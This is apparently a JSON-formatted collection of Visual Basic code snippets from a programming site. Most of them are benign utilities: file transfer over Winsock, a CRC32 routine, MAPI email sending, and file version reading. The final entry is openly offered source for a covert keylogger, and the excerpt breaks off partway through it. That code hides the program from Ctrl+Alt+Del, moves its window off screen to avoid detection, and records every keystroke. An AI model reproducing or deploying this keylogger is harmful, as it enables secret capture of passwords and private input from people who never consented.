the dataarival sub would\n'be the same, I do not know how the transition would end so I just sent \"xx\"\n'and that tells the sub that the transition has ended\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Public declarations\ndim FileOpen as Boolean\npublic function Send_File(FileToSend as string)\n'This is the function that sends a file\nDim Temp as string\nDim BlockSize as long\nopen filetosend for binary access read as #1 'Open the file to send\nBlockSize = 2048 'Set the block size, if needed, set it higher\ndo while not EOF(1)\n temp = Space$(blockSize) 'Give temp some space to store the data\n Get 1, , temp 'Get first line from file\n Winsock1.SendData temp 'Send the data\n DoEvents\nloop\nwinsock1.senddata \"xx\" 'This is a custom control that ends the transmition\nclose #1\nend function\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim temp As String\nDim data As String\n'Check to see if the file is already open\nIf fileOpen = False Then\n Open \"c:\\somefile_here\" For Binary Access Write As #2\n fileOpen = True\nElseIf fileOpen = True Then\n DoEvents\nEnd If\nWinsock1.GetData data 'Get the data\ntemp = data\n'Check to see if it is the end of the transmition\nIf temp = \"xx\" Then\n Close #2\n fileOpen = False\nElse\n Put 2, , temp 'Store the data to the file\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":4749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4794,"LineNumber":1,"line":"' this code will display a form at the bottom right had corner everytime.\n dim WindowRect as RECT\n SystemParametersInfo SPI_GETWORKAREA, 0, WindowRect, 0\n \n FrmMain.Top = WindowRect.Bottom * Screen.TwipsPerPixelY - FrmMain.Height\n FrmMain.Left = WindowRect.Right * Screen.TwipsPerPixelX - FrmMain.Width"},{"WorldId":1,"id":4796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4804,"LineNumber":1,"line":"if right(totext({currencyfield}),2) = '00' then\nuppercase(left(towords(truncate({currencyfield}),0)+' ' +'dollars'+' '+ 'only',1)) + right(towords(truncate({currencyfield}),0)+' ' +'dollars' + ' ' + 'only',length(towords(truncate({currencyfield}),0)+' ' + 'dollars' +' '+ 'only') -1)\n \nelse\ntowords(truncate({currencyfield}),0) +' '+'dollars'+' '+ 'and'+' ' +towords(tonumber(right(TOTEXT({currencyfield}),2)),0)+' '+'cents'+ ' ' + 'only' \n"},{"WorldId":1,"id":4807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4817,"LineNumber":1,"line":"Public Sub SendEmail(sEmailAddress As String,sSubject as string, sMessageText as string)\n Dim sEmailExtracted As String\n Dim sEmailLeft As String\n Dim iRecipCount As Integer\n \n If Trim(sEmailAddress) = \"\" Then\n Goto SendMail_End\n End If\n \n sEmailLeft = Trim(sEmailAddress)\n \n ' set the mouse pointer to indicate the app is busy\n Screen.MousePointer = vbHourglass\n \n MAPIlogon.SignOn\n \n Do While MAPIlogon.SessionID = 0\n \n \n DoEvents ' need to wait until the new session is created\n \n Loop\n \n With MAPIMessages1\n .MsgIndex = -1\n .SessionID = MAPIlogon.SessionID\n \n While sEmailLeft <> \"\"\n \n If InStr(1, sEmailLeft, \";\") = 0 Then\n sEmailExtracted = sEmailLeft\n sEmailLeft = \"\"\n Else\n sEmailExtracted = Left(sEmailLeft, InStr(1, sEmailLeft, \";\") - 1)\n sEmailLeft = Right(sEmailLeft, Len(sEmailLeft) - InStr(1, sEmailLeft, \";\"))\n End If\n \n .RecipIndex = iRecipCount\n If iRecipCount = 0 Then\n .RecipType = mapToList\n Else\n .RecipType = mapCcList\n End If\n \n .RecipAddress = sEmailExtracted\n \n .ResolveName\n \n iRecipCount = iRecipCount + 1\n \n Wend\n \n If iRecipCount = 0 Then GoTo SendMail_End\n \n .MsgSubject = sSubject\n .MsgNoteText = sMessageText \n .Send\n End With\n \n MAPIlogon.SignOff\nSendMail_End: \n Screen.MousePointer = vbNormal\n Exit Sub\nEnd Sub\n"},{"WorldId":1,"id":4822,"LineNumber":1,"line":"ption Explicit\nOption Compare Text\n'// Then declare this array variable Crc32Table\nPrivate Crc32Table(255) As Long\n'// Then all we have to do is writing public functions like these...\nPublic Function InitCrc32(Optional ByVal Seed As Long = &HEDB88320, Optional ByVal Precondition As Long = &HFFFFFFFF) As Long\n '// Declare counter variable iBytes, counter variable iBits, value variables lCrc32 and lTempCrc32\n Dim iBytes As Integer, iBits As Integer, lCrc32 As Long, lTempCrc32 As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Iterate 256 times\n For iBytes = 0 To 255\n '// Initiate lCrc32 to counter variable\n lCrc32 = iBytes\n '// Now iterate through each bit in counter byte\n For iBits = 0 To 7\n '// Right shift unsigned long 1 bit\n lTempCrc32 = lCrc32 And &HFFFFFFFE\n lTempCrc32 = lTempCrc32 \\ &H2\n lTempCrc32 = lTempCrc32 And &H7FFFFFFF\n '// Now check if temporary is less than zero and then mix Crc32 checksum with Seed value\n If (lCrc32 And &H1) <> 0 Then\n lCrc32 = lTempCrc32 Xor Seed\n Else\n lCrc32 = lTempCrc32\n End If\n Next\n '// Put Crc32 checksum value in the holding array\n Crc32Table(iBytes) = lCrc32\n Next\n '// After this is done, set function value to the precondition value\n InitCrc32 = Precondition\nEnd Function\n'// The function above is the initializing function, now we have to write the computation function\nPublic Function AddCrc32(ByVal Item As String, ByVal Crc32 As Long) As Long\n '// Declare following variables\n Dim bCharValue As Byte, iCounter As Integer, lIndex As Long\n Dim lAccValue As Long, lTableValue As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Iterate through the string that is to be checksum-computed\n For iCounter = 1 To Len(Item)\n '// Get ASCII value for the current character\n bCharValue = Asc(Mid$(Item, iCounter, 1))\n '// Right shift an Unsigned Long 8 bits\n lAccValue = Crc32 And &HFFFFFF00\n lAccValue = lAccValue \\ &H100\n lAccValue = lAccValue And &HFFFFFF\n '// Now select the right adding value from the holding table\n lIndex = Crc32 And &HFF\n lIndex = lIndex Xor bCharValue\n lTableValue = Crc32Table(lIndex)\n '// Then mix new Crc32 value with previous accumulated Crc32 value\n Crc32 = lAccValue Xor lTableValue\n Next\n '// Set function value the the new Crc32 checksum\n AddCrc32 = Crc32\nEnd Function\n'// At last, we have to write a function so that we can get the Crc32 checksum value at any time\nPublic Function GetCrc32(ByVal Crc32 As Long) As Long\n '// Turn on error trapping\n On Error Resume Next\n '// Set function to the current Crc32 value\n GetCrc32 = Crc32 Xor &HFFFFFFFF\nEnd Function\n'// To Test the Routines Above...\nPublic Sub Main()\n Dim lCrc32Value As Long\n On Error Resume Next\n lCrc32Value = InitCrc32()\n lCrc32Value = AddCrc32(\"This is the original message!\", lCrc32Value)\n Debug.Print Hex$(GetCrc32(lCrc32Value))\nEnd Sub\n'// This is the command that you would use to compute your own string\nPublic Function Compute(ToGet as string)as String\n Dim lCrc32Value As Long\n On Error Resume Next\n lCrc32Value = InitCrc32()\n lCrc32Value = AddCrc32(ToGet, lCrc32Value)\n Compute = Hex$(GetCrc32(lCrc32Value))\nEnd Sub"},{"WorldId":1,"id":4823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4832,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4842,"LineNumber":1,"line":"Private Sub Form_Load()\n Timer1.Interval = 300 'Change value depending on the speed of flahing.\nEnd Sub\nPrivate Sub Timer1_Timer()\n FlashWindow hwnd, 1\nEnd Sub\n"},{"WorldId":1,"id":4859,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Load()\nMe.WindowState = 2\nMe.BackColor = vbBlack\nMe.ForeColor = vbWhite\nMe.Caption = \"3D Sphere - Your own 3D engine! Programed by BORIZA\"\nMe.Show\n'Position of sphere on the screen\nY = 4000\nX = 6000\n'Size of a polygon:\nPolygon_R = 100\n'Distance of the object from you\nMe_to_Obj = 10000\nObj_to_Me = 1000\nGenPolygon\nDrawArray Object\nRotate Object, 0, -Pi / 2\nSphere\nEnd Sub\n"},{"WorldId":1,"id":4860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4878,"LineNumber":1,"line":"'The vbhide makes sure that ppl dont see that ugly dosbox\nShell (\"c:\\windows\\command\\xcopy /e /i /r c:\\temp d:\\NewTemp\"), vbHide\n' will create a directory called NewTemp on d: and copy\n' all the files and directories recursively from c:\\temp\n' into it, without showing the dosbox\n' you can also run any commands like del, dir, etc\n' by running command.com\nshell(\"command.com /c PathandFileToRun Commuters CommandLine\"), vbHide\n' /c tells command.com to run a command and exit\n' you could run somethin like :\nShell (\"command.com /c dir /b d:\\ > dListing.txt\"), vbHide\n' and recover all the names of the files in d:\n' or run files associated to programs(doc,zip,bmp,etc)\n' by using the start command, windows will launch the\n' file with the appropriate program\nShell (\"start C:\\WINDOWS\\HELP\\WINHLP32.HLP\"), vbHide\n' if you need even more dos power then you could just as easily run\n' some bat files to do bigger operations. I think\n' windows scripting host can do some awesome stuff too\n' but im not familiar with it at all. All i know is\n' that it lets you write javascript and vbscript like\n' batch files.\nShell (\"start http://www.whatever.com\"), vbHide\n'Will launch the default webrowser on that page\n\nShell (\"start mailto:me@test.com,next@next.com?cc=whoever@whetever.com&subject=whatever&body=your text\"), vbHide\n'launch the default email client with most fields prefilled.\n'im sure you can attach a file, but i havent found the right\n'command yet. also its VERY important the order in which the\n'commands are fed. Just separate multiple adresses with a comma\n'like above.\n'if i find any other cool usages i'll postem up."},{"WorldId":1,"id":4881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4890,"LineNumber":1,"line":"Public Function Win32Keyword(ByVal URL As String) As Long\nweburl = ShellExecute(0&, vbNullString, URL, vbNullString, vbNullString, vbNormalFocus)\nEnd Function\n\n'For example: put the next code under a commad button:\nPrivate Sub Command1_Click()\nwin32keyword(\"C:\\bla\\bla\\movie.rm\")\nEnd Sub\n"},{"WorldId":1,"id":4892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4918,"LineNumber":1,"line":"I wrote the following two functions to go between strings and text files in my apps:\npublic Function ReadFile(FileName as string) as string\n Dim i as Integer\n i = FreeFile\n on error GoTo ErrorTrap\n Open FileName for input as #i\n ReadFile = input(LOF(i), i)\n Close #i\n Exit Function\nErrorTrap:\n ReadFile = \"\"\nEnd Function\n\npublic Sub WriteFile(FileName as string, Contents as string)\n Dim i as Integer\n i = FreeFile\n Open FileName for Output as #i\n print #i, Contents\n Close #i\nEnd Sub\n***Once these functions are in your project, you have a quick way of reading and writing text files. For example, the following code is a weird way of copying text files: \n\nCall WriteFile(\"c:\\b.txt\", ReadFile(\"c:\\a.txt\"))\n\n\n\n"},{"WorldId":1,"id":4920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4933,"LineNumber":1,"line":"'This code was copied from http://www.mvps.org/vbnet/ ! Go checkem out\n'START .BAS MODULE CODE\nOption Explicit\nPublic Declare Function InternetGetConnectedState _\nLib \"wininet.dll\" (ByRef lpdwFlags As Long, _\nByVal dwReserved As Long) As Long\n'Local system uses a modem to connect to the Internet.\nPublic Const INTERNET_CONNECTION_MODEM As Long = &H1\n'Local system uses a LAN to connect to the Internet.\nPublic Const INTERNET_CONNECTION_LAN As Long = &H2\n'Local system uses a proxy server to connect to the Internet.\nPublic Const INTERNET_CONNECTION_PROXY As Long = &H4\n'No longer used.\nPublic Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8\nPublic Const INTERNET_RAS_INSTALLED As Long = &H10\nPublic Const INTERNET_CONNECTION_OFFLINE As Long = &H20\nPublic Const INTERNET_CONNECTION_CONFIGURED As Long = &H40\n'InternetGetConnectedState wrapper functions\nPublic Function IsNetConnectViaLAN() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a LAN connection\nIsNetConnectViaLAN = dwflags And INTERNET_CONNECTION_LAN\nEnd Function\nPublic Function IsNetConnectViaModem() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a modem connection\nIsNetConnectViaModem = dwflags And INTERNET_CONNECTION_MODEM\nEnd Function\nPublic Function IsNetConnectViaProxy() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a proxy connection\nIsNetConnectViaProxy = dwflags And INTERNET_CONNECTION_PROXY\nEnd Function\nPublic Function IsNetConnectOnline() As Boolean\n'no flags needed here - the API returns True\n'if there is a connection of any type\nIsNetConnectOnline = InternetGetConnectedState(0&, 0&)\nEnd Function\nPublic Function IsNetRASInstalled() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the falgs include RAS installed\nIsNetRASInstalled = dwflags And INTERNET_RAS_INSTALLED\nEnd Function\n\nPublic Function GetNetConnectString() As String\nDim dwflags As Long\nDim msg As String\n'build a string for display\nIf InternetGetConnectedState(dwflags, 0&) Then\nIf dwflags And INTERNET_CONNECTION_CONFIGURED Then\nmsg = msg & \"You have a network connection configured.\" & vbCrLf\nEnd If\nIf dwflags And INTERNET_CONNECTION_LAN Then\nmsg = msg & \"The local system connects to the Internet via a LAN\"\nEnd If\nIf dwflags And INTERNET_CONNECTION_PROXY Then\nmsg = msg & \", and uses a proxy server. \"\nElse: msg = msg & \".\"\nEnd If\nIf dwflags And INTERNET_CONNECTION_MODEM Then\nmsg = msg & \"The local system uses a modem to connect to the Internet. \"\nEnd If\nIf dwflags And INTERNET_CONNECTION_OFFLINE Then\nmsg = msg & \"The connection is currently offline. \"\nEnd If\nIf dwflags And INTERNET_CONNECTION_MODEM_BUSY Then\nmsg = msg & \"The local system's modem is busy with a non-Internet connection. \"\nEnd If\nIf dwflags And INTERNET_RAS_INSTALLED Then\nmsg = msg & \"Remote Access Services are installed on this system.\"\nEnd If\nElse\nmsg = \"Not connected to the internet now.\"\nEnd If\nGetNetConnectString = msg\nEnd Function\n' END MODULE CODE\n'##############################\n'START FORM CODE\nOption Explicit\n\n' Put 6 textboxes and 1 Command button and fire it up !\nPrivate Sub Command1_Click()\nText1 = IsNetConnectViaLAN()\nText2 = IsNetConnectViaModem()\nText3 = IsNetConnectViaProxy()\nText4 = IsNetConnectOnline()\nText5 = IsNetRASInstalled()\nText6 = GetNetConnectString()\nEnd Sub"},{"WorldId":1,"id":4939,"LineNumber":1,"line":"'Add a Rich Text Box to your project first. Then read below.\n'To save a rich text box:\nRichTextBox1.savefile \"file.txt\"\n'To load a rich text box:\nRichTextBox1.loadfile \"file.txt\""},{"WorldId":1,"id":4944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4961,"LineNumber":1,"line":"I(n the form itself enter this code:\nPrivate Sub Form_Click()\n AlarmTime = InputBox(\"Enter alarm time\", \"VB Alarm\", AlarmTime)\n If AlarmTime = \"\" Then Exit Sub\n If Not IsDate(AlarmTime) Then\n MsgBox \"The time you entered was not valid.\"\n Else ' String returned from InputBox is a valid time,\n AlarmTime = CDate(AlarmTime) ' so store it as a date/time value in AlarmTime.\n End If\nEnd Sub\n\n**********In the timer enter this code:*****************\nPrivate Sub Timer1_Timer()\nStatic AlarmSounded As Integer\n If lblTime.Caption <> CStr(Time) Then\n ' It's now a different second than the one displayed.\n If Time >= AlarmTime And Not AlarmSounded Then\n Beep\n MsgBox \"Alarm at \" & Time\n AlarmSounded = True\n ElseIf Time < AlarmTime Then\n AlarmSounded = False\n End If\n If WindowState = conMinimized Then\n ' If minimized, then update the form's Caption every minute.\n If Minute(CDate(Caption)) <> Minute(Time) Then SetCaptionTime\n Else\n ' Otherwise, update the label Caption in the form every second.\n lblTime.Caption = Time\n End If\n End If\nEnd Sub\n\n\n"},{"WorldId":1,"id":4963,"LineNumber":1,"line":"Private Sub unloader(Optional ByVal ForceClose As Boolean = False)\n Dim i As Long\n \nOn Error Resume Next \n For i = Forms.Count - 1 To 0 Step -1\n Unload Forms(i)\n Set Forms(i) = Nothing\n If Not ForceClose Then \n If Forms.Count > i Then\n Exit Sub\n End If\n End If\n Next i\n \n If ForceClose Or (Forms.Count = 0) Then Close\n If ForceClose Or (Forms.Count > 0) Then End\n \nEnd Sub"},{"WorldId":1,"id":4967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4976,"LineNumber":1,"line":"Public Function GetFileVersionInformation(ByRef pstrFieName As String, ByRef tFileInfo As FILEINFO) As VerisonReturnValue\n Dim lBufferLen As Long, lDummy As Long\n Dim sBuffer() As Byte\n Dim lVerPointer As Long\n Dim lRet As Long\n Dim Lang_Charset_String As String\n Dim HexNumber As Long\n Dim i As Integer\n Dim strTemp As String\n \n 'Clear the Buffer tFileInfo\n tFileInfo.CompanyName = \"\"\n tFileInfo.FileDescription = \"\"\n tFileInfo.FileVersion = \"\"\n tFileInfo.InternalName = \"\"\n tFileInfo.LegalCopyright = \"\"\n tFileInfo.OriginalFileName = \"\"\n tFileInfo.ProductName = \"\"\n tFileInfo.ProductVersion = \"\"\n \n lBufferLen = GetFileVersionInfoSize(pstrFieName, lDummy)\n If lBufferLen < 1 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n ReDim sBuffer(lBufferLen)\n lRet = GetFileVersionInfo(pstrFieName, 0&, lBufferLen, sBuffer(0))\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n lRet = VerQueryValue(sBuffer(0), \"\\VarFileInfo\\Translation\", lVerPointer, lBufferLen)\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n Dim bytebuffer(255) As Byte\n MoveMemory bytebuffer(0), lVerPointer, lBufferLen\n HexNumber = bytebuffer(2) + bytebuffer(3) * &H100 + bytebuffer(0) * &H10000 + bytebuffer(1) * &H1000000\n Lang_Charset_String = Hex(HexNumber)\n 'Pull it all apart:\n '04------ = SUBLANG_ENGLISH_USA\n '--09---- = LANG_ENGLISH\n ' ----04E4 = 1252 = Codepage for Windows:Multilingual\n Do While Len(Lang_Charset_String) < 8\n Lang_Charset_String = \"0\" & Lang_Charset_String\n Loop\n Dim strVersionInfo(7) As String\n strVersionInfo(0) = \"CompanyName\"\n strVersionInfo(1) = \"FileDescription\"\n strVersionInfo(2) = \"FileVersion\"\n strVersionInfo(3) = \"InternalName\"\n strVersionInfo(4) = \"LegalCopyright\"\n strVersionInfo(5) = \"OriginalFileName\"\n strVersionInfo(6) = \"ProductName\"\n strVersionInfo(7) = \"ProductVersion\"\n \n Dim buffer As String\n For i = 0 To 7\n buffer = String(255, 0)\n strTemp = \"\\StringFileInfo\\\" & Lang_Charset_String _\n & \"\\\" & strVersionInfo(i)\n lRet = VerQueryValue(sBuffer(0), strTemp, _\n lVerPointer, lBufferLen)\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n lstrcpy buffer, lVerPointer\n buffer = Mid$(buffer, 1, InStr(buffer, vbNullChar) - 1)\n Select Case i\n Case 0\n tFileInfo.CompanyName = buffer\n Case 1\n tFileInfo.FileDescription = buffer\n Case 2\n tFileInfo.FileVersion = buffer\n Case 3\n tFileInfo.InternalName = buffer\n Case 4\n tFileInfo.LegalCopyright = buffer\n Case 5\n tFileInfo.OriginalFileName = buffer\n Case 6\n tFileInfo.ProductName = buffer\n Case 7\n tFileInfo.ProductVersion = buffer\n End Select\n Next i\n \n GetFileVersionInformation = eOK\nEnd Function\n\n'-----------\nPrivate Sub Command1_Click()\n Dim strFile As String\n Dim udtFileInfo As FILEINFO\n \n On Error Resume Next\n With CommonDialog1\n .Filter = \"All Files (*.*)|*.*\"\n .ShowOpen\n strFile = .FileName\n If Err.Number = cdlCancel Or strFile = \"\" Then Exit Sub\n End With\n \n If GetFileVersionInformation(strFile, udtFileInfo) = eNoVersion Then\n MsgBox \"No version available for this file\", vbInformation\n Exit Sub\n End If\n \n Label1 = \"Company Name: \" & udtFileInfo.CompanyName & vbCrLf\n Label1 = Label1 & \"File Description: \" & udtFileInfo.FileDescription & vbCrLf\n Label1 = Label1 & \"File Version: \" & udtFileInfo.FileVersion & vbCrLf\n Label1 = Label1 & \"Internal Name: \" & udtFileInfo.InternalName & vbCrLf\n Label1 = Label1 & \"Legal Copyright: \" & udtFileInfo.LegalCopyright & vbCrLf\n Label1 = Label1 & \"Original FileName: \" & udtFileInfo.OriginalFileName & vbCrLf\n Label1 = Label1 & \"Product Name: \" & udtFileInfo.ProductName & vbCrLf\n Label1 = Label1 & \"Product Version: \" & udtFileInfo.ProductVersion & vbCrLf\nEnd Sub\n"},{"WorldId":1,"id":4984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5023,"LineNumber":1,"line":"Dim Shift As Boolean\nDim shiftc As Boolean\nPrivate KeyResult As Long ' no real need for this, just gives you that warm fuzzy feeling\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer ' get the current state of the keys\nPrivate Sub Command1_Click()\nHIDECAD ' hide program in ctrl+alt+del , even more cloaking\nForm1.Top = Screen.Height + 100 ' put the form off screen, undetectable\nDo While Form1.Top = Screen.Height + 100 ' new code to catch evry keystroke\n' note: while this code catches every keystroke, it also DOES NOT catch any while the form is maximized\nerre:\nshiftc = True\nFor i = 1 To 300\nKeyResult = GetAsyncKeyState(i)\nOn Error GoTo erre\nIf KeyResult = -32767 Then\nSelect Case i\nCase Is = 8\nText1.Text = Text1.Text & \" BKSP \"\nCase Is = 16\nShift = True ' CHANGES TEXT TO UPPER CASE\nText1.Text = Text1.Text & \" SHIFT \"\nCase Is = 112 ' FUNCTION KEYS\nText1.Text = Text1.Text & \" F1 \"\nCase Is = 113\nText1.Text = Text1.Text & \" F2 \"\nCase Is = 114\nText1.Text = Text1.Text & \" F3 \"\nCase Is = 115\nText1.Text = Text1.Text & \" F4 \"\nCase Is = 116\nText1.Text = Text1.Text & \" F5 \"\nCase Is = 117\nText1.Text = Text1.Text & \" F6 \"\nCase Is = 118\nText1.Text = Text1.Text & \" F7 \"\nCase Is = 119\nText1.Text = Text1.Text & \" F8 \"\nCase Is = 120\nText1.Text = Text1.Text & \" F9 \"\nCase Is = 121\nText1.Text = Text1.Text & \" F10 \"\nCase Is = 122\nText1.Text = Text1.Text & \" F11 \"\nCase Is = 123\nText1.Text = Text1.Text & \" F12 \"\nCase Is = 32\nText1.Text = Text1.Text & \" SPACE \"\nCase Is = 13\nText1.Text = Text1.Text & \" ENTER \"\nCase Is = 27\nText1.Text = Text1.Text & \" ESC \"\nCase Is = 46\nText1.Text = Text1.Text & \" DEL \"\nCase Is = 18\nText1.Text = Text1.Text & \" ALT \"\nCase Is = 17\nText1.Text = Text1.Text & \" CTRL \"\nCase Is = 91\nText1.Text = Text1.Text & \" WINKEY \"\nCase Is = 32\nText1.Text = Text1.Text & \" SPACE \"\nCase Is = 9\nText1.Text = Text1.Text & \" TAB \"\n' Next four are Arrow Keys\nCase Is = 37\nText1.Text = Text1.Text & \" <- \"\nCase Is = 38\nText1.Text = Text1.Text & \" ^ \"\nCase Is = 39\nText1.Text = Text1.Text & \" -> \"\nCase Is = 40\nText1.Text = Text1.Text & \" \\/ \"\nCase 65 To 90 ' letters, note the use of lcase to use when without shift!\nIf Shift Then\nText1.Text = Text1.Text & UCase(Chr(i))\nShift = False ' resets shift!\nElse ' have to make lower cause of some darn vb thing\nText1.Text = Text1.Text & LCase(Chr(i))\nEnd If\nCase 48 To 57 ' numbers , also /w shift does char such as !@#$%^&*()\nIf Shift = False Then\nText1.Text = Text1.Text & Chr(i)\n \nElse ' if shift is down, do funky symbols\nIf i = 48 Then Text1.Text = Text1.Text & \")\"\nIf i = 49 Then Text1.Text = Text1.Text & \"!\"\nIf i = 50 Then Text1.Text = Text1.Text & \"@\"\nIf i = 51 Then Text1.Text = Text1.Text & \"#\"\nIf i = 52 Then Text1.Text = Text1.Text & \"$\"\nIf i = 53 Then Text1.Text = Text1.Text & \"%\"\nIf i = 54 Then Text1.Text = Text1.Text & \"^\"\nIf i = 55 Then Text1.Text = Text1.Text & \"&\"\nIf i = 56 Then Text1.Text = Text1.Text & \"*\"\nIf i = 57 Then Text1.Text = Text1.Text & \"(\"\nShift = False ' resets shift!\nEnd If\nCase Is = 1\n' can anybody tell me what this does? seems to happen evry btn click!\nCase Is = 190 ' from here down is the new update, includes most of the other keys on the keyboard... enjoy!\nIf Shift Then ' note: 2 keys cannot be mapped in vb : Printscrn/sysrq and Pause/Break\nText1.Text = Text1.Text & \">\"\nShift = False\nelse\nText1.Text = Text1.Text & \".\"\nEnd If\nCase Is = 188\nIf Shift Then\nText1.Text = Text1.Text & \"<\"\nShift = False\nelse\nText1.Text = Text1.Text & \",\"\nEnd If\nCase Is = 191\nIf Shift Then\nText1.Text = Text1.Text & \"?\"\nShift = False\nelse\nText1.Text = Text1.Text & \"/\"\nEnd If\nCase Is = 222\nIf Shift Then\nText1.Text = Text1.Text & \"\"\"\"\nShift = False\nelse\nText1.Text = Text1.Text & \"'\"\nEnd If\nCase Is = 192\nIf Shift Then\nText1.Text = Text1.Text & \"~\"\nShift = False\nelse\nText1.Text = Text1.Text & \"`\"\nEnd If\nCase Is = 186\nIf Shift Then\nText1.Text = Text1.Text & \":\"\nShift = False\nelse\nText1.Text = Text1.Text & \";\"\nEnd If\nCase Is = 219\nIf Shift Then\nText1.Text = Text1.Text & \"{\"\nShift = False\nelse\nText1.Text = Text1.Text & \"[\"\nEnd If\nCase Is = 220\nIf Shift Then\nText1.Text = Text1.Text & \"|\"\nShift = False\nelse\nText1.Text = Text1.Text & \"\\\"\nEnd If\nCase Is = 221\nIf Shift Then\nText1.Text = Text1.Text & \"}\"\nShift = False\nelse\nText1.Text = Text1.Text & \"]\"\nEnd If\nCase Is = 93\nText1.Text = Text1.Text & \" WINPROP \"\nCase Is = 45\nText1.Text = Text1.Text & \" INSERT TOGGLE \"\nCase Is = 36\nText1.Text = Text1.Text & \" HOME \"\nCase Is = 33\nText1.Text = Text1.Text & \" PGUP \"\nCase Is = 34\nText1.Text = Text1.Text & \" PGDN \"\nCase Is = 35\nText1.Text = Text1.Text & \" END \"\nCase Is = 144\nText1.Text = Text1.Text & \" NUMLOCK TOGGLE \"\nCase Is = 145\nText1.Text = Text1.Text & \" SCROLL LOCK TOGGLE \"\nCase Is = 189\nIf Shift Then\nText1.Text = Text1.Text & \"_\"\nShift = False\nelse\nText1.Text = Text1.Text & \"-\"\nEnd If\nCase Is = 188\nIf Shift Then\nText1.Text = Text1.Text & \"+\"\nShift = False\nelse\nText1.Text = Text1.Text & \"=\"\nEnd If\n' and now for the new KEYPAD btns\nCase 96 To 105 'numbers, 0-9 respectively\nIf i = 96 Then Text1.Text = Text1.Text & \" NUM0 \"\nIf i = 97 Then Text1.Text = Text1.Text & \" NUM1 \"\nIf i = 98 Then Text1.Text = Text1.Text & \" NUM2 \"\nIf i = 99 Then Text1.Text = Text1.Text & \" NUM3 \"\nIf i = 100 Then Text1.Text = Text1.Text & \" NUM4 \"\nIf i = 101 Then Text1.Text = Text1.Text & \" NUM5 \"\nIf i = 102 Then Text1.Text = Text1.Text & \" NUM6 \"\nIf i = 103 Then Text1.Text = Text1.Text & \" NUM7 \"\nIf i = 104 Then Text1.Text = Text1.Text & \" NUM8 \"\nIf i = 105 Then Text1.Text = Text1.Text & \" NUM9 \"\nCase Is = 110\nText1.Text = Text1.Text & \" NUM. \"\nCase Is = 111\nText1.Text = Text1.Text & \" NUM/ \"\nCase Is = 107\nText1.Text = Text1.Text & \" NUM+ \"\nCase Is = 109\nText1.Text = Text1.Text & \" NUM- \"\nCase Is = 106\nText1.Text = Text1.Text & \" NUM* \"\nCase Is = 20 ' CAPSLOCK key\nText1.Text = 